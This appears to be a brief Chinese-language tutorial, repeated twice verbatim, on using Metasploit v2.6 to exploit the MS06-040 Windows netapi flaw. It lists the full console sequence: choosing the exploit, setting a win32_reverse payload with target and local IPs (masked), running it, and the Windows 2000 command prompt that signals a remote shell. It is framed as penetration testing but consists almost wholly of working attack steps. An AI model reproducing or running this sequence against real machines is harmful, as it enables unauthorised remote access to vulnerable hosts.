以 MS06-040 為例,測試 Metasploit v2.6
以 MS06-040 為例,測試 Metasploit v2.6。
安裝完 v2.6 後,於目錄下執行 msfupdate.bat,來 update exploits。
接下來執行 MSFConsole/msfconsole.bat,
msf > show exploits
#列出所有的 exploits
msf > use netapi_ms06_040
#選擇 netapi_ms06_040 這個 expliots
msf netapi_ms06_040 > show payloads
#顯示 shellcode 列表
msf netapi_ms06_040 > set PAYLOAD win32_reverse
#設定 PAYLOAD 為 win32_reverse
msf netapi_ms06_040(win32_reverse) > set RHOST *.*.*.*
#設定滲透測試主機 IP
msf netapi_ms06_040(win32_reverse) > set LHOST *.*.*.*
#設定本地端 IP
msf netapi_ms06_040(win32_reverse) > set TARGET 0
msf netapi_ms06_040(win32_reverse) > set
#秀出之前的設定
msf netapi_ms06_040(win32_reverse) > exploit
#執行此 exploit,開始滲透測試
最後 … 當出現以下字樣,
——————————————————————————
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版權所有 1985-2000 Microsoft Corp.
C:/WINNT/system32>
——————————————————————————
代表此次滲透測試成功。
安裝完 v2.6 後,於目錄下執行 msfupdate.bat,來 update exploits。
接下來執行 MSFConsole/msfconsole.bat,
msf > show exploits
#列出所有的 exploits
msf > use netapi_ms06_040
#選擇 netapi_ms06_040 這個 expliots
msf netapi_ms06_040 > show payloads
#顯示 shellcode 列表
msf netapi_ms06_040 > set PAYLOAD win32_reverse
#設定 PAYLOAD 為 win32_reverse
msf netapi_ms06_040(win32_reverse) > set RHOST *.*.*.*
#設定滲透測試主機 IP
msf netapi_ms06_040(win32_reverse) > set LHOST *.*.*.*
#設定本地端 IP
msf netapi_ms06_040(win32_reverse) > set TARGET 0
msf netapi_ms06_040(win32_reverse) > set
#秀出之前的設定
msf netapi_ms06_040(win32_reverse) > exploit
#執行此 exploit,開始滲透測試
最後 … 當出現以下字樣,
——————————————————————————
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版權所有 1985-2000 Microsoft Corp.
C:/WINNT/system32>
——————————————————————————
代表此次滲透測試成功。